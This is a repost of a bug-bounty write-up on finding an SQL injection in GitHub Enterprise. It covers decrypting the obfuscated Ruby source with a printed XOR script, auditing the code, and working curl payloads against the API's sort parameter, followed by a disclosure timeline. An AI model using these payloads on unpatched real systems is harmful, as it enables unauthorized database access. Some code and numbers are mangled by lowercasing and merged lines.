主题文档

看我如何发现github企业版程序sql注入漏洞并获得5000美刀赏金-k8凯发

  github 企业版软件是专供公司团体用来部署在内网进行开发服务的商业性应用程序。github 企业版采用标准 ovf 格式集成,以虚拟机(vm)镜像方式发布,可以在 网站注册下载 45 天试用版本,并把其部署在任何虚拟机环境中。通过下载其试用版本软件进行分析,我花了一周时间,发现了其中存在的 sql 注入漏洞,并获得了 5000 美元漏洞赏金。

  github 企业版 vm 环境安装之后的效果如下:

91.png

02.png

  现在,github 搭建完成,接下来就可以在虚拟机系统内进行深入分析。

环境安全性分析

  用 nmap 发现有 6 个开启端口:

$ nmap -st -vv -p 1-65535192.168.187.145
...
port     state  service
22/tcp   open   ssh
25/tcp   closed smtp
80/tcp   open   http
122/tcp  open   smakynet
443/tcp  open   https
8080/tcp closed http-proxy
8443/tcp open   https-alt
9418/tcp open   git

  这些端口用途初步分析为:

端口 22/tcp 和 9418/tcp 可能用于进程 haproxy 转发后端服务 babeld;

端口 80/tcp 和 443/tcp 用于 github 主要服务;

端口 122/tcp 用于 ssh 服务;

端口 8443/tcp 用于 github 的管理控制台服务。

  由于 github 的管理控制台需要密码才能实现登录,所以你可以设置密码并通过 122 端口的 ssh 服务连接 vm 环境,ssh 连接进入系统之后,检查系统信息发现,几乎所有的 github 服务代码都位于目录/data/下:

# ls -al /data/
total 92
drwxr-xr-x 23 root              root              4096 nov 2912:54 .
drwxr-xr-x 27 root              root              4096 dec 2819:18 ..
drwxr-xr-x  4 git               git               4096 nov 2912:54 alambic
drwxr-xr-x  4 babeld            babeld            4096 nov 2912:53 babeld
drwxr-xr-x  4 git               git               4096 nov 2912:54 codeload
drwxr-xr-x  2 root              root              4096 nov 2912:54 db
drwxr-xr-x  2 root              root              4096 nov 2912:52 enterprise
drwxr-xr-x  4 enterprise-manage enterprise-manage 4096 nov 2912:53 enterprise-manage
drwxr-xr-x  4 git               git               4096 nov 2912:54 failbotd
drwxr-xr-x  3 root              root              4096 nov 2912:54 git-hooks
drwxr-xr-x  4 git               git               4096 nov 2912:53 github
drwxr-xr-x  4 git               git               4096 nov 2912:54 git-import
drwxr-xr-x  4 git               git               4096 nov 2912:54 gitmon
drwxr-xr-x  4 git               git               4096 nov 2912:54 gpgverify
drwxr-xr-x  4 git               git               4096 nov 2912:54 hookshot
drwxr-xr-x  4 root              root              4096 nov 2912:54 lariat
drwxr-xr-x  4 root              root              4096 nov 2912:54 longpoll
drwxr-xr-x  4 git               git               4096 nov 2912:54 mail-replies
drwxr-xr-x  4 git               git               4096 nov 2912:54 pages
drwxr-xr-x  4 root              root              4096 nov 2912:54 pages-lua
drwxr-xr-x  4 git               git               4096 nov 2912:54 render
lrwxrwxrwx  1 root              root                23 nov 2912:52 repositories -> /data/user/repositories
drwxr-xr-x  4 git               git               4096 nov 2912:54 slumlord
drwxr-xr-x 20 root              root              4096 dec 2819:22 user

  查看其中的文件源码,貌似是 base64 加密的:

03.png

  github 使用了一个自定义的库来加密混淆自身源代码。如果你在谷歌搜索 ruby_concealer.so,你会发现一个牛人已经对,只需在 ruby_concealer.so 中用 rb_f_puts 替换 rb_f_eval 即可实现解密。但我们还是实际动手来看看,打开 ida pro 分析一下:

04.png

05.png

  你可以发现,其源程序使用了类 进行数据解压缩,并使用了一段明文 key 作为异或(xor)操作,然而,让人搞笑的是,这段明文 key 竟然是这样的:

this obfuscation is intended to discourage github enterprise customers from making modifications to the vm. we know this 'encryption' is easily broken. (我们清楚该加密很容易被破解,但其目的在于防止 github 企业版用户随意对 vm 环境进行修改)

2017-01-10_113847.jpg

  哎呀,让人哭笑不得….

  有了这些,我们就可以自己构造解密脚本了:

require 'zlib'
key = "this obfuscation is intended to discourage github enterprise customers from making modifications to the vm. we know this 'encryption' is easily broken. "
def decrypt (s)
    i, plaintext = 0, ''
    zlib::inflate.inflate (s) .each_byte do |c|
        plaintext << (c ^ key[i%key.length].ord) .chr
        i  = 1
    end
    plaintext
end
content = file.open (argv[0], "r") .read
content.sub! %q(require "ruby_concealer.so"\n__ruby_concealer__), " decrypt "
plaintext = eval content
puts plaintext

代码分析

  实现程序源代码解密之后,让我们尝试着进行代码审计:

$ cloc /data/
   81267 text files.
   47503 unique files.
   24550 files ignored.
http://cloc.sourceforge.net v 1.60  t=348.06 s (103.5 files/s, 15548.9 lines/s)
-----------------------------------------------------------------------------------
language                         files          blank        comment           code
-----------------------------------------------------------------------------------
ruby                             258543595454371251838503
javascript                        4351109994105296881416
yaml                               60013493214289039
python                            11084486264025180400
xml                                12164923223125556
c                                  4443090323966123938
bourne shell                       852144901641787477
html                               63624760200182526
c                                  1848370889079139
c/c   header                       428116792277372226
java                               19866651430345187
css                                4584641309244813
bourne again shell                 1426196900635106
m4                                  21325936929433
...

  -

$ ./bin/rake about
about your application's environment
ruby version              2.1.7 (x86_64-linux)
rubygems version          2.2.5
rack version              1.6.4
rails version             3.2.22.4
javascript runtime        node.js (v8)
active record version     3.2.22.4
action pack version       3.2.22.4
action mailer version     3.2.22.4
active support version    3.2.22.4
middleware                github::defaultrolemiddleware, rack::runtime, rack::methodoverride, actiondispatch::requestid, rails::rack::logger, actiondispatch::showexceptions, actiondispatch::debugexceptions, actiondispatch::callbacks, activerecord::connectionadapters::connectionmanagement, actiondispatch::cookies, actiondispatch::session::cookiestore, actiondispatch::flash, actiondispatch::paramsparser, actiondispatch::head, rack::conditionalget, rack::etag, actiondispatch::beststandardssupport
application root          /data/github/9fcdcc8
environment               production
database adapter          githubmysql2
database schema version   20161003225024

  从以上分析可以看出大部分为 ruby 代码,而且可以发现:

程序通过端口 80 和 443 远程连接 github.com、gist.github.com 和 api.github.com 在目录/data/github/下更新代码库;

目录/data/render/可能为 render.githubusercontent.com 代码库;

程序通过 8443 端口运行目录/data/enterprise-manage/下服务。

漏洞分析

  虽然我对 ruby 不太熟悉,但经过现学现用,我花了一周的时间发现了这个漏洞,以下我的分析工作日程:

  第一天  设置 github 虚拟机环境

  第二天  设置 github 虚拟机环境

  第三天  学习 rails 进行代码审计

  第四天  学习 rails 进行代码审计

  第五天  学习 rails 进行代码审计

  第六天  哦也,找到了一个 sql 注入漏洞

  这个 sql 注入漏洞存在于 github 企业版程序的 prereceivehooktarget 模块中,其根本原因在于/data/github/current/app/model/pre_receive_hook_target.rb 文件的第 45 行:

33   scope :sorted_by, -> (order, direction = nil) {
34     direction = "desc" == "#{direction}".upcase ? "desc" : "asc"35select(<<-sql)
36       #{table_name}.*,
37       case hookable_type
38         when 'global'     then 039         when 'user'       then 140         when 'repository' then 241       end as priority
42     sql
43       .joins ("join pre_receive_hooks hook on hook_id = hook.id")
44       .readonly(false)
45       .order ([order, direction].join (""))
46   }

  虽然 rails 中内置的对象关系映射 activerecord in rails 本身不允许 sql 注入操作,但一些 activerecord 的误用实例同样会引起 sql 注入。具体可参考学习 。在该漏洞情况中,我们可以控制 order 方法的参数实现恶意代码注入。跟踪观察发现,服务 sorted_by 被 data/github/current/app/api/org_pre_receive_hooks.rb 文件的第 61 行调用:

10get"/organizations/:organization_id/pre-receive-hooks"do11     control_access :list_org_pre_receive_hooks, :o rg => org = find_org!
12     @documentation_url << "#list-pre-receive-hooks"13     targets = prereceivehooktarget.visible_for_hookable (org)
14     targets = sort (targets) .paginate (pagination)
15     github::prefillassociations.for_pre_receive_hook_targets targets
16     deliver :pre_receive_org_target_hash, targets
17   end
...
60   def sort (scope)
61     scope.sorted_by ("hook.#{params[:sort] || "id"}", params[:direction] || "asc")
62   end

  可以清楚地看到 params[:sort]被传递给了 scope.sorted_by,所以我们可以尝试着向 params[:sort]注入恶意代码。

  在触发该漏洞之前,接入 api 需要 admin:pre_receive_hook 函数具备一个有效的 access_token 值,高兴的是,我们可以通过以下命令来获取:

$ curl -k -u 'nogg:nogg''https://192.168.187.145/api/v3/authorizations' \
-d '{"scopes":"admin:pre_receive_hook","note":"x"}'
{
  "id": 4,
  "url": "https://192.168.187.145/api/v3/authorizations/4",
  "app": {
    "name": "x",
    "url": "https://developer.github.com/enterprise/2.8/v3/oauth_authorizations/",
    "client_id": "00000000000000000000"
  },
  "token": "????????",
  "hashed_token": "1135d1310cbe67ae931ff7ed8a09d7497d4cc008ac730f2f7f7856dc5d6b39f4",
  "token_last_eight": "1fadac36",
  "note": "x",
  "note_url": null,
  "created_at": "2017-01-05t22:17:32z",
  "updated_at": "2017-01-05t22:17:32z",
  "scopes": [
    "admin:pre_receive_hook"
  ],
  "fingerprint": null
}

  一旦获取到有效的 access_token 值之后,漏洞就会被触发:

$ curl -k -h 'accept:application/vnd.github.eye-scream-preview' \
'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,(select 1 from information_schema.tables limit 1,1)'
[
]
$ curl -k -h 'accept:application/vnd.github.eye-scream-preview' \
'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,(select 1 from mysql.user limit 1,1)'
{
  "message": "server error",
  "documentation_url": "https://developer.github.com/enterprise/2.8/v3/orgs/pre_receive_hooks"
}
$ curl -k -h 'accept:application/vnd.github.eye-scream-preview' \
'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,if (user ()="github@localhost",sleep (5),user ())
{
    ...
}

06.png

漏洞报送进程

  2016/12/26 05:48   通过 hackerone 把该漏洞报送给 github

  2016/12/26 08:39   github 给出反馈,表示已通过验证并正在修复;

  2016/12/26 15:48   提供给 github 更多漏洞细节;

  2016/12/28 02:44   github 反馈表示,漏洞补丁将随 github 企业版后续更新释出;

  2017/01/04 06:41   github 回复将给我 5000 美刀赏金;

  2017/01/05 02:37   资询 github,是否介意我将此漏洞公开在个人博客;

  2017/01/05 03:06   github 很爽快地表示,没问题!

  2017/01/05 07:06   github enterprise 2.8.5 发布!

  如果你对该漏洞感兴趣,可以自己部署 github 企业版系统环境进行深入分析。

  参考来源:,fb 小编 clouds 编译,转载请注明来自 freebuf.com。

the end
本文已经被浏览: 次,获赞:  次
网站地图